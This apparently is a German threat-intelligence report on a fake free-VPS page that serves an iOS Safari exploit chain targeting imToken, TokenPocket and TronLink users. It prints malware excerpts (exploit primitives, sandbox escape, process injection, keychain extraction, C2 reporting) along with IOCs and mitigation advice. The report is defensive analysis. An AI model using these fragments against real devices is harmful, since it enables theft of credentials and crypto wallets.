Hintergrund

Eine Aktion-Seite, die angeblich einen kostenlosen VPS verschenkt – in Wahrheit ist es eine Falle. Aus öffentlich archivierten Webseiten geht hervor: Ende August 2026 registrierte event[.]polarnode[.]vip deklariert https[:]//lk[.]wyincc[.]com/lk.js als Preload-Skript. Nach dem Interagieren lädt die Seite es automatisch; Besucher müssen nicht klicken.

Nachdem wir die gespeicherten Loader-Samples dekodiert haben, bestätigen wir: Sie sind für eine reine Safari-Distribution auf iPhones mit iOS 18.4–18.6.2 ausgelegt und zielen am Ende auf Dateierfassung, Keychain-Erfassung (Keychain) und Keyboard-Input-Erfassung. Ziel sind drei Wallet-Apps. Diese Kette stimmt sehr stark mit der von der Google Threat Intelligence Group (GTIG) veröffentlichten DarkSword-iOS-Exploit-Kette überein: sechs CVEs, n-day-Wiederverwendung.

Die Analyse in diesem Artikel basiert auf einem zentralen Loader-Beispiel von 1k[.]wyincc[.]com/lk[.]js sowie auf Snapshots von lk[.]wyincc[.]com/lk[.]js, die mit urlscan gespeichert wurden. Die Analyse der sechs CVEs und der nachgelagerten Fähigkeiten ist auf den /dist/sandbox.html-Zweig beschränkt.

Das Verfahren ist kein Einzelfall. Wie socket.dev parallel berichtet, veröffentlichten 13 bösartige Packagist-Themes eine Ausnutzungskette vom WebKit bis in den Kernel, um Gerätedaten und Wallet-Mnemonics zu stehlen. Die verwendeten CVEs überlappen sich mit denen der DarkSword-Kette in diesem Bericht.
Die Analyse in diesem Artikel basiert auf statischen Beweisen. Wir haben keine Samples ausgeführt, keine iframe geöffnet und keine Antworten an Browser oder JavaScript-Engine übergeben. Die Fernladungen und das Erstellen der C2-Anfragen während der Forensik wurden unter separater Genehmigung durchgeführt; es wurden keine echten Gerätedaten versendet. Beschreibungen der Code-Fähigkeiten in diesem Text bedeuten, dass es entsprechende Implementierungen bzw. Aufrufpfade im Code gibt – nicht, dass die entsprechenden Aktionen auf einem echten Gerät erfolgreich stattgefunden haben.

MistEye-Antwort

MistEye ist ein von SlowMist eigenständig entwickeltes Web3-Bedrohungs-Intelligence- und dynamisches Sicherheitsmonitoring-System. Es integriert Fähigkeiten zur Sicherheitsüberwachung und zur Bedrohungsdatenaggregation und bietet Nutzern Echtzeit-Risiko-Warnungen sowie Schutz für Assets.

Nachdem MistEye dieses Sample erhalten hat, stellt es die vollständige Angriffs-Chain wieder her – von der Geräteeingrenzung über die Auslieferung eines versteckten iframe bis hin zu mehrstufiger Ausnutzung und nachgelagerter Nutzung. Dabei werden relevante Domainnamen, IPs und bösartige DateiiOCs extrahiert. Das bösartige Paket und die IOCs werden in die Threat-Detection-Engine integriert; anschließend werden betroffenen Nutzern Risikoalarme und Empfehlungen zur Eindämmung/Behandlung bereitgestellt.

Im Folgenden folgt eine detaillierte technische Analyse.

Dekodierung

Das Sample enthält keine Zeilenumbrüche – eine Zeile. Die Obfuskation erfolgt in drei Ebenen: ein String-Array mit 1.025 Einträgen, das beim Start per sofort ausgeführter Funktion komplett nach links geschoben wird, sowie eine benutzerdefinierte Base64- und RC4-Umwandlung für jeden einzelnen String. Das benutzerdefinierte Alphabet ordnet Kleinbuchstaben vor Großbuchstaben:

abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789+/=

Das Decodierergebnis SHA-256 lautet 38b43a6d27b08ff94a600fbe8182b4a2ba0eb744f68801a2d3454431f78e9fa5. Der Dekodierer liest nur Text und führt seine eigenen Base64/RC4-Transformationen durch; er bewertet kein JavaScript.

Es wird eine feste Konfiguration in Klartext rekonstruiert: Serverseitig https[:]//lk[.]wyincc[.]com; bevorzugter SDK-Endpunkt 13[.]248[.]210[.]49:36887, Ausweich-Endpunkt 66[.]117[.]225[.]238:36887, 20-Sekunden-Heartbeat, device_source 782391 und Client-Kennung web-sdk V1.0. Die Konfiguration enthält außerdem einen RSA-Pubkey; SHA-256 ist 85ec8a4c83463565b3a517b6ee9d010fbf6643c49a67245c64b27bd8a0e43681. In den späteren Phasen wird damit der an die SDK-Endpunkte gesendete Datenstrom verschlüsselt.

Die drei Ziel-Apps in der Konfiguration sollten zuerst markiert werden: imToken (im.token.app), TokenPocket (com.global.wallet.ios) und TronLink (com.tronlink.hdwallet). Dieselbe Gruppe von Kennungen erscheint später erneut in der Keyboard-Erfassungsaufgabe.

Gezielte Auslieferung

Als Erstes entscheidet der entschlüsselte Payload, wem er übergeben wird. Das Loader-Sample der Hauptanalyse von 1k[.]wyincc[.]com/lk[.]js parst iOS-Versionen über /iPhone OS (\d+)[_.](\d+)/i aus navigator.userAgent. Nach der Obfuskation-Reduktion entspricht die Versionserkennung:

if (major !== 18 || minor < 4 || minor > 6) return;

In diesem Loader-Beispiel können nur iPhone-Modelle mit iOS 18.4–18.6.x durchgelassen werden. Die Browser-Erkennung verlangt außerdem, dass sowohl Safari/ enthalten ist als auch Version/ und Mobile/... Safari, und schließt iOS-Chrome, -Firefox, -Opera, -Edge (CriOS, FxiOS, OPiOS, EdgiOS) sowie eingebettete WebViews von WeChat, QQ, Telegram, Alipay und einer Reihe von Social- und News-Apps aus. Das Regex-Muster passt nur iPhone OS und nicht die von iPads verwendete CPU OS.

Der von urlscan gespeicherte Seiten-Snapshot des Loader hat den oben genannten Zweig nicht entfernt: Ein iPhone mit iOS 18.4–18.6.2 gelangt weiterhin zu /dist/sandbox.html. Im Vergleich zum Loader-Beispiel der Hauptanalyse nutzt er außerdem globales Geräte-Matching mit iPhone|iPod, sodass auch iPod touch einbezogen wird, und ergänzt eine Whitelist für iOS 15.2 bis 17.1. Diese älteren Versionen sowie iPod touch werden in einen zusätzlichen /group.html-Zweig übergeben.

Besucher, die nicht durch die Filter gelangen, werden nicht einfach ignoriert. Der Code blendet alle Unterelemente der aktuellen Seite aus, zeigt einen mehrsprachigen Hinweis an und lässt den Nutzer die Adresse kopieren, um sie dann in Safari zu öffnen. Das ist ein hinweisgebender, kompatibler Hinweis – gleichzeitig lenkt er Besucher aktiv in die Browserumgebung, die für die Ausnutzung benötigt wird.

Über die gefilterten Besucher wird die Logik für das Ausführen der Locker- und Cooling-Routinen gestartet: Nach dem Empfang der pe_injected- und chain_locked-Nachrichten werden lokaler Status und Cookies geschrieben, um ein wiederholtes Auslösen auf demselben Gerät zu verhindern. Die UID besteht aus einem Zeitstempel plus zufälligen Zeichen. Die zwei Nachrichten-Listener prüfen nur event.data.type und verifizieren weder event.origin noch event.source; andere Frames auf derselben Seite können diese Nachrichten fälschen und so Lock/Cooling vorzeitig auslösen.

Lieferkette

Die folgende vollständige Lieferkettenanalyse gilt für den /dist/sandbox.html-Zweig, der von zwei Loadern gemeinsam beibehalten wird. Der Snapshot der tatsächlich im Seitenkontext verwendeten Loader enthält zusätzlich einen parallelen Zweig für /group.html. Dieser Pfad wurde jedoch von einem vorgelagerten WAF per HTTP 403 blockiert; die nachgelagerten Inhalte wurden daher nicht erhalten. Deshalb wird dieser Zweig in diesem Artikel nicht in die nachfolgenden DarkSword-Spektren, die sechs CVEs oder die Datenerfassungsfähigkeiten eingeordnet.

Wenn iPhone mit iOS 18.4–18.6.2 nach dem Filtern geladen wird, konstruiert der Loader ein verstecktes iframe; die Adressvorlage ist fest:

https://lk.wyincc.com/dist/sandbox.html?d=<URL-encoded Base64 JSON>

Die Weitergabe der Initialkonfiguration von loader zu sandbox.html wurde bestätigt: Sie erfolgt über den URL-Parameter ?d=. d trägt URL-kodiertes Base64-JSON mit Informationen wie dem origin der aktuellen Site, hostname, utm_source, Session-UID sowie SDK-Endpunkten, RSA-Pubkey, device_source und der Ziel-Wallet-Konfiguration. Da UID und Site-Felder zur Laufzeit erzeugt werden, kann keine eindeutig feste URL der dritten Phase vorab rekonstruiert werden. Um weiter zu verfolgen, haben wir mit den in der Konfiguration rekonstruierten Parametern unter Forensikbedingungen das sandbox.html abgerufen.

Das iframe wird mit einem Stück CSS so gehalten, dass es außerhalb des Bildschirms und unsichtbar ist. Die sandbox-Seite lädt anschließend per dynamischem script-Element chunks/vendor.js. vendor prüft erneut die Version und verzweigt: iOS 18.6 lädt runtime.js und kapselt es in einen Blob Worker; iOS 18.4 und 18.5 laden runtime-legacy.js und holen zusätzlich polyfill.js, das im Seitenkontext via eval ausgeführt wird. Der Legacy-RCE-Pfad wird über postMessage und eine synchronisierte Ausnutzungszustandssteuerung zwischen dem Seitenkontext und dem Worker-Kontext weitergereicht, um Koordination für die Etablierung der RCE-Primitiven und die Übergabe an nachfolgende Phasen herzustellen. Das unterscheidet sich von den weiter oben beschriebenen pe_injected- und chain_locked-Nachrichten-Listenern, die nur die Ausführung von Locker/Kühlung übernehmen.

Jeder der nachfolgenden Abschnitte wird nur heruntergeladen, nachdem der vorherige erfolgreich war. Die gesamte Kette enthält zwei Ebenen von Sandbox-Escapes. Der Code ist jeweils mit SBX0 und SBX1 gekennzeichnet: SBX0 bringt die Ausführung vom Webpage-Content-Prozess in den GPU-Prozess, SBX1 bringt sie anschließend vom GPU-Prozess in mediaplaybackd.

• runtime.js (18.6) nutzt CVE-2025-43529 (Speicherbeschädigung durch einen Garbage-Collection-Fehler im JavaScriptCore DFG JIT) in Kombination mit CVE-2026-20700 (Umgehung der dyld-Userland-PAC-Zeigerzertifizierung), um JavaScriptCore/WebKit-Remote-Code-Execution (RCE)-Primitiven aufzubauen: addrof (Objektadresse), fakeobj (falsches Objekt), beliebiges Lesen/Schreiben, PAC-Verarbeitung (Pointer Authentication) und native Aufrufe; anschließend wird synchron framework.js geholt und eval’iert. runtime-legacy.js und polyfill.js liefern dieselben Primitiven für 18.4/18.5 – entsprechend CVE-2025-31277 (Speicherbeschädigung durch JavaScriptCore JIT-Optimierung/Typverwirrung) und CVE-2026-20700.

// runtime.js (18.6) —— RCE-Primitiven
function addrof(object){ return BigInt.fromDouble(p_rce.addrof(object)) }
function fakeobj(addr){ return p_rce.fakeobj(addr.asDouble()) }
// read32 / read64 / write8 / write64 werden auf derselben fakeobj/scribble-Mechanik aufgebaut

// runtime.js —— SBX0-Übergabe (eval framework.js)
print("[RCE] Startet das Laden des SBX0-Sandbox-Escapes...");
const sbx0_script = getJS("framework.js?" + Date.now());
eval(sbx0_script)

• framework.js implementiert SBX0 – nutzt CVE-2025-14174 (mangelhafte Validierung bestimmter Operationsparameter in ANGLE/WebGL, die zu Out-of-Bounds-Speicher-Lese-/Schreibzugriffen führt) und bringt die Ausführung vom Webpage-Content-Prozess in den GPU-Prozess. Nach dem SBX0-SUCCEEDED-Zweig wird common.js geladen. framework-legacy.js ist das Legacy-Pendant.

// framework.js —— SBX0-Einstieg
print("[SBX0] ======== sbx0_main.js eval startet ========");
const { write8, read32, read64, write64, dlopen, dlsym, device_model, chipset } = p;

• common.js implementiert SBX1 – nutzt CVE-2025-43510 (Schwachstelle in der XNU-Kernel-Speicherverwaltung für Copy-on-Write (COW) beim Schreiben), entkommt aus dem GPU-Prozess in den höher privilegierten mediaplaybackd, enthält dessen XPC-Endpunkt, IOSurface/Scaler-Pfade und die sbx1sbx1_exp-Routine. Danach wird app.js geladen; common-legacy.js nutzt das vorhandene app.js wieder.

// common.js —— mediaplaybackd XPC-Anchor von SBX1 und Übergabe zur Privilege-Elevation
let XPC_ENDPOINT_REMAKER = "com.apple.coremedia.mediaplaybackd.remaker.xpc";
remaker_connection = xpc_connection_create_mach_service(XPC_ENDPOINT_REMAKER, 0n, 0n);
function spawn_pe(){ LOG("Spawning PE...."); let pe_stage1_js_data_array = new Uint8Array([...]); }

• app.js nutzt CVE-2025-43520 (Speicherbeschädigung durch Kernel-Race-Conditions in der XNU Virtual File System VFS) zum Aufbau von Kernel-Lese-/Schreib- und Privilege-Elevation-Primitiven. Enthalten sind Kernel-Lese-/Schreib-Wrapper, MigFilterBypass, eine Sandbox-Erweiterung applySandboxEscape, das Löschen von Crash-Reports sowie Logik zur Koordination, um drei Plugins abzurufen und drei Systemprozesse zu injizieren. Die drei Plugins sind sync.js, auth.js und input.js; außerdem werden drei Taskskripte wiederhergestellt, die jeweils genau diesen drei Plugin-Typen zugeordnet sind.

// app.js —— Einstiegspunkt für Kernel-Lese/Schreibzugriff und Privilege-Elevation
let kernel_base = 0n; let kernel_slide = 0n; let is_a18_devices = false;
function pe_v1() { /* ... */ }

Drei Injektionspfade initiieren jeweils einmal einen Klartext-HTTP-GET, um Plugins abzurufen, und übergeben dann die Antwort an den jeweiligen Prozess:

var inject = new InjectJS("SpringBoard", agentCode, migFilterBypass);
if (inject.inject()) { ... }

Drei Ziele sind SpringBoard (sync.js), securityd (auth.js) und kbd (input.js). Die drei wiederhergestellten Task-Skripte entsprechen jeweils diesen drei Plugin-Typen und werden durch Code koordiniert, um Task-Proxies einzuschleusen. SBX0 SUCCEEDED und SBX1 SUCCEEDED in dem Code sind Status-Branch-Strings, keine Erfolgsmeldungen, die wir beobachtet haben.

Eine Ergänzung zur Herkunft: lk[.]wyincc[.]com liefert auf die Legacy-Zweigressourcen (runtime-legacy.js, polyfill.js, framework-legacy.js, common-legacy.js) HTTP 403 zurück. Wir haben die vier Dateien aus dem Zusammenhang-Hosting-Knoten unter 1k[.]wyincc[.]com erhalten. Dieser Knoten hatte zuvor bestätigt, dass die Antworten auf den gemeinsam genutzten vendor.js und runtime.js wortgenau (byteweise) mit den von der Seite tatsächlich referenzierten Hosts übereinstimmen. Allerdings behaupten wir nicht, dass diese Legacy-Dateien exakt byteweise gleichwertig zu den nicht abrufbaren lk-Antworten sind. Für zwei Bedingungsressourcen powercuff_light.js und chain_status_overlay.js gibt der im Seitenkontext referenzierte Host 403 zurück, während der zugehörige Payload-Hosting-Knoten 404 HTML liefert – es gibt keine Skripte, die analysiert werden können.

DarkSword-Spektrenfamilie

Im Code gibt es einige eindeutige Spuren, die zu einem öffentlich dokumentierten Werkzeug passen. app.js enthält den Kommentar „If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions“ sowie die MigFilterBypass-Klasse, Chain.runPE() gefolgt von Sandbox.applySandboxEscape(), das Löschen der systemgroup.com.apple.osanalytics/DiagnosticReports-Verzeichnisse und einen Verweis auf das startSandworm-Tool. Die Versionsverzweigungen (18.4/18.5 vs. 18.6) sowie die Phasenverantwortung von SBX0 → SBX1 → PE stimmen ebenfalls mit den von GTIG veröffentlichten DarkSword-Analysen überein. Apple-Sicherheitsankündigungen bestätigen die jeweiligen CVEs und Fix-Versionen separat.

Nach der Deobfuskation behält app.js einige direkt erkennbar Spuren bei:

// app.js —— migbypass-Versionierung (DarkSword-spezifischer Kommentar)
// If iOS >= 18.4 we apply migbypass in order to bypass autobox restrictions
if (ver.major == 24 && ver.minor >= 4) { /* migbypass */ }

// Kapselung von Chain-Lese-/Schreiboperationen im eingebetteten MigFilterBypassThread.js
static runPE() { /* ... */ }
static getKernelBase() { /* ... */ }
static read(srcAddr, dst, len) { /* ... */ }
static write(dst, src, len) { /* ... */ }

// Referenz auf das startSandworm-Tool (im Quelltext als Kommentar beibehalten)
// let baseKernel = startSandworm();

Dementsprechend ordnen wir die lokalen Phasen sechs CVEs zu:

Als GTIG DarkSword zuerst beobachtete, gehörten CVE-2025-43529, CVE-2026-20700 und CVE-2025-14174 zu In-the-wild-0day. Bis zur WYINCC-Aktivität im September 2026 sind alle sechs Schwachstellen öffentlich bekannt und von Apple gepatcht; daher handelt es sich bei der aktuellen Auslieferung um eine n-day-Wiederverwendung der DarkSword-Kette mit sechs Schwachstellen. Fix-Versionen und historischer 0day-Status basieren auf den GTIG-Berichten und den Apple-Sicherheitsankündigungen.

Drei C2-Tasks

Um herauszufinden, was die injizierte Proxy am Ende tatsächlich macht, haben wir unter separater Genehmigung mit einem synthetischen UID und einem leeren Site-Feld minimalste requestJsCode-Anfragen an zwei SDK-Endpunkte gesendet; pro Endpunkt jeweils zwei Mal. Während des gesamten Prozesses wurden keine Gerätregistrierung, kein Heartbeat, kein Keychain-, Keyboard- oder App-Datenversand vorgenommen.

Die bevorzugten Endpunkte 13[.]248[.]210[.]49:36887 liefern bei zwei Verbindungsaufbauten Antworten mit 54.773 Bytes; die Ausweich-Endpunkte 66[.]117[.]225[.]238:36887 liefern bei zwei Verbindungsaufbauten leere Antworten. Die Antworten sind mit AES-256-GCM verschlüsselt und in SSP2-Frames gekapselt. Wir verwenden die gespeicherten Sitzungsschlüssel für die Offline-Entschlüsselung, LZFSE-Dekompression und SSP2/JSON/Base64-Prüfungen, um drei Taskskripte wiederherzustellen. Keines der drei Skripte wurde ausgeführt.

Jeder der drei Tasks entspricht einem injizierten Prozess:

• Die SpringBoard-Tasks werden serverseitig über apps_json konfiguriert. Dabei werden Dateien rekursiv aus dem App-Container, einem Shared AppGroup oder aus einem absoluten Pfad enumeriert, in Blöcken hochgeladen und jeweils mit Datei-weise SHA-256 sowie Resume-Upload (unterbrochen/fortsetzbar) versehen. Wenn task_type 1 oder 4 ist, wird zusätzlich Base64 dekodiert und ein vom Server bereitgestelltes JavaScript per eval ausgeführt; das Ergebnis wird zurückgemeldet.

• securityd-Task öffnet /private/var/Keychains/keychain-2.db, fragt genp- und inet-Tabellen ab und entschlüsselt data-Blobs mit der privaten Klasse SecDbKeychainItemV7. Nach dem Extrahieren von v_Data, acct, svce und agrp wird gemeldet.

• kbd-Task überwacht die Vordergrund-App. Wenn die Ziel-Wallet-App im Vordergrund ist, wird per Polling die interne ivar geholt (_inputString, _contextBeforeInput, _contextAfterInput). Am Ende der Eingabe oder bei einem App-Wechsel wird der zwischengespeicherte Inhalt als reportAppPwd gemeldet.

Keychain-Erfassung

Die securityd-Tasks entsprechen dem Plugin auth.js. app.js ruft GET /dist/plugins/auth.js ab und injiziert den Code in securityd via InjectJS("securityd", ...). Die nativen Aufrufe, die über die in der Kette hergestellten Zugriffe entstehen (dlsym, objc_msgSend), werden direkt aus JavaScript heraus aufgerufen. Es wird nur lesend auf den Keychain-Store zugegriffen:

sqlite3_open_v2("/private/var/Keychains/keychain-2.db", dbHandlePtr, SQLITE_OPEN_READONLY, 0)

Es werden nur zwei Tabellen durchlaufen: genp (allgemeine Passwörter) und inet (Internet-Passwörter) (SELECT *), wobei nach agrp LIKE '%keyword%' gefiltert wird. In jeder Tabelle maximal 500 Zeilen; wenn das Keyword leer ist, fällt es auf 1=1 zurück und durchläuft alles. Die data-Spalte ist ein verschlüsseltes BLOB. Der Code knackt nicht das Keybag; stattdessen nutzt er in securityd bereits vorhandene private Methoden der Klasse SecDbKeychainItemV7 (initWithData:decryptionKeybag:error: usw.), um zu entschlüsseln, liest den geheimen Wert v_Data aus und extrahiert acct, svce und agrp:

var tables = ["genp", "inet"];
var cls = ncall("objc_getClass", _sp("SecDbKeychainItemV7"));

task_type == 3 triggert den Dump (das Keyword kommt aus serverseitigem apps_json oder content; task_type == 4 kann zusätzlich eval-Erweiterungen für serverseitige Skripte für die Datenerfassung auslösen). Das Ergebnis wird über reportKeychain in einem C2-Kanal gemeldet, der mit SSP2 / AES-256-GCM / RSA gekapselt ist:

sendReport("reportKeychain", { keychain: b64, task_id: taskId || "" });

Zusammenfassung

Wir bestätigen, dass es sich um ein mehrstufiges Ausnutzungs- und Post-Exploitation-Framework für den Zugriff auf iPhones mit iOS 18.4–18.6.2 (reine Safari-Umgebung) handelt, entsprechend der DarkSword-Spektrenfamilie. Das Risiko betrifft drei Wallet-Apps – imToken, TokenPocket und TronLink: Der Code besitzt Fähigkeiten für Browser-RCE, zweistufigen Sandbox-Escape, Kernel-Lese-/Schreibzugriff sowie das Injizieren von Proxies in SpringBoard, securityd und kbd; er erfasst Dateien, Keychain und Keyboard-Input.

Als GTIG DarkSword erstmals beobachtete, waren die drei in-the-wild 0day-Fälle bereits öffentlich und durch Apple gepatcht. Die aktuelle Auslieferung von WYINCC ist daher als n-day-Wiederverwendung einer Kette aus sechs Schwachstellen einzustufen. Der von der Seite lk[.]wyincc[.]com referenzierte Loader-Snapshot enthält zudem einen /group.html-Zweig für ältere iOS-Versionen und iPod touch. Dieser Zweig wurde jedoch von einem vorgelagerten WAF per HTTP 403 abgeblockt und die nachgelagerten Inhalte wurden nicht erhalten. Daher gelten die sechs CVE- und Datenerfassungs-Schlussfolgerungen nur für den /dist/sandbox.html-Zweig.

Empfehlung

1. An Netzwerkgrenzen (Proxy, DNS, EDR/NDR) wurden wyincc[.]com- und polarnode[.]vip-Domains sowie drei 36887-Endpunkte blockiert. In den Logs wird nach Zugriffen auf iOS-18.4–18.6.2-iPhone-UA für Pfade wie /dist/sandbox.html, /dist/chunks/, /dist/plugins/ usw. gesucht. Außerdem wird nach Zugriffen der iOS-15.2- bis 17.1-UA (einschließlich möglicher iPod touch) auf /group.html gesucht. Erstere gehören zur bekannten vollständigen Kette, die offen zutage lag. Letztere können nur bestätigen, dass der nicht erhaltene Downstream-Zweig getroffen wurde; sie erlauben nicht, die Schlussfolgerungen zu den sechs CVEs oder zur Wallet-Datenerfassung direkt darauf zu übertragen.

2. Wenn die eigene Website je mit diesem Skript injiziert wurde: Entfernen Sie das Skript aus Seiten- und CDN-/Object-Storage-Caches, prüfen Sie die Einbindungsvorgänge von Templates, Tag-Managementern und Werbungssystemen und implementieren Sie CSP/SRI-Beschränkungen, damit Drittanbieter-Skripte den Seitenkontext nicht erben können.

3. Für iPhone-Geräte, die tatsächlich die Zustellseite aufgerufen haben und auf denen Safari mit iOS 18.4–18.6.2 lief: priorisieren Sie Forensik, sammeln Sie Safari-Verlauf, WebKit-Abstürze, Prozessanomalien und Keychain-Zugriffsaufzeichnungen. Für iOS 15.2 bis 17.1 iPhone- oder iPod-touch-Geräte, die /group.html getroffen haben: behalten Sie dieselben Basisbeweise bei, aber schließen Sie aus einem Pfad-Treffer allein nicht auf erfolgreiche Ausnutzung oder erfolgte Datenerfassung.

4. Für Nutzer der folgenden drei Ziel-Wallets: imToken, TokenPocket und TronLink – treffen Sie anhand der Geräte-Forensikergebnisse die Entscheidung, ob Sie Anmeldeinformationen rotieren, Sessions widerrufen und On-Chain-Adressen/Transaktionen überwachen. Stellen Sie nicht nur anhand von Zugriffen fest, ob private Keys oder Mnemonics bereits geleakt wurden.

5. Aktualisieren Sie das Gerät auf eine von Apple bereits gepatchte Version (iOS/iPadOS 18.7.3 oder höher bzw. 26.3 oder höher) und bewahren Sie die Originalantworten, Sitzungsschlüssel und Hashes auf, um die spätere Zusammenhangsanalyse zu ermöglichen.

IOC

Domain

1k[.]wyincc[.]com

lk[.]wyincc[.]com
event[.]polarnode[.]vip
polarnode[.]vip

IP

13[.]248[.]210[.]49 

66[.]117[.]225[.]238 

166[.]117[.]225[.]238

URL

13[.]248[.]210[.]49:36887

66[.]117[.]225[.]238:36887

166[.]117[.]225[.]238:36887

https[.]//lk[.]wyincc[.]com/lk.js

https[.]//1k[.]wyincc[.]com/lk.js

Bösartige Datei

Dateiname: lk.js 

SHA256: 89912ab03eb2d02746e52df7b17035082d973234f249098caec11684e665c337

Dateiname: lk.js

SHA256: 892dd644ea9a10fd4d89c54d6cfe1028487c3fc23d3f29723af9004b6edf8c70
Dateiname: sandbox.html 

SHA256: 953cfa9bf94304ad453eab706cd7cc92cde68eb6ea3c85652aa9040609e75f54

Dateiname: vendor.js 

SHA256: 52e2208a37c6dda971c9a67333dbcf526531745feb426a91ace9741ad178f510
Dateiname: runtime.js 

SHA256: a5ebcbd5c744865535dd75d8742c99bc06b548dc2606ac6f116843b54451f73b
Dateiname: runtime-legacy.js 

SHA256: afdb430bafc3c441ada98fe4a165fd1ad3a38ff5789517c5dd3f83a143706d53
Dateiname: polyfill.js 

SHA256: f0409f0d1c134be43dcd697b4715cca64efa66e482d252744163f552050cd236
Dateiname: framework.js 

SHA256: 78973b4d04cb6fee3c399937476347eca0aa9b99fa13596fe9dfaff829aba03b
Dateiname: framework-legacy.js 

SHA256: 36b43f98c7f4d2d5a0f14ce8a5bdfd2fc055f8628da4a2d9ece2402385447f1e
Dateiname: common.js 

SHA256: 69e357f06ee87ea934b328c4e701d1d48dcfcef51352bb61c64ef89424c029d8
Dateiname: common-legacy.js 

SHA256: 693af544eb4deb194f481a870f1202fefb0c278820bb23bced85cd354d29a63e
Dateiname: app.js 

SHA256: ab356a2bbdbb7f8e9327e10a2cf6d35ca0c4dbba06d982f559b00d13d31f3017
Dateiname: sync.js 

SHA256: 6eda3586102cf35ca53189accd2f56fec63a8adf74ccf93b59aed1e7651a690f
Dateiname: auth.js 

SHA256: 78406a0c68043df99cea87f280e8307675c285ca9d88f5a56aa9901c6f503d11
Dateiname: input.js 

SHA256: 3a2341a13a7c4854bc203be18eebd11f716e043540a91974ef6d6d12253f6c9d

Über MistEye

MistEye ist eine von SlowMist eigenständig entwickelte Web3-Threat-Intelligence- und dynamische Sicherheitsmonitoring-Plattform. Über API bietet sie eine Open-Source-Paket-Ökosystem-Bedrohungserkennung sowie Funktionen zur Risiko-Vorwarnung für die Lieferkette.

Alle bösartigen Pakete und IOCs, die an dieser Aktion beteiligt sind, wurden in die MistEye-Threat-Detection-Engine integriert. Entwickler können über die API eine automatisierte Prüfung der Projektabhängigkeiten durchführen, schnell feststellen, ob bekannte bösartige Pakete getroffen wurden, und Empfehlungen zur Eindämmung erhalten.

📖 API-Dokumentation: https://app.misteye.io/api-docs

🛠️ MistEye-DepScan: https://github.com/slowmist/MistEye-DepScan – leichtgewichtiges CLI-Tool. Mit einem einzigen Befehl werden Projekt-Abhängigkeiten sowie bekannte bösartige Pakete in globalen Installationen gescannt; unterstützt npm / PyPI / Cargo / Go / RubyGems-Ökosysteme

🛠️ MistEye-Skills: https://github.com/slowmist/misteye-skills – Kodier-Assistent-Sicherheitsfähigkeiten Paket. Löst MistEye-Sicherheitsprüfungen automatisch aus, bevor Abhängigkeiten installiert und URLs aufgerufen werden.

🛠️ MistEye-DNS-Guard: https://github.com/slowmist/MistEye-DNS-Guard – DNS-Sicherheits-Schutztool, das bösartige Domains und riskanten Zugriff erkennt und Netzwerkbedrohungen wie Phishing und C2 identifiziert

Dieser Artikel wurde vom SlowMist-Threat-Intelligence-Team in Kombination mit dem MistEye-Threat-Intelligence-System sowie durch SlowMist Agent (AI-gesteuerte Analyse) verfasst. Bei Fragen können Sie sich gern melden – Feedback und Rückmeldungen sind willkommen.

Referenz

[1]https://socket.dev/blog/packagist-themes-ios-spyware

[2]https://cloud.google.com/blog/topics/threat-intelligence/darksword-ios-exploit-chain

[3]https://support.apple.com/en-bw/125885

[4]https://support.apple.com/en-me/125633

[5]https://support.apple.com/en-us/126346

[6]https://www.nodeseek.com/post-905477-1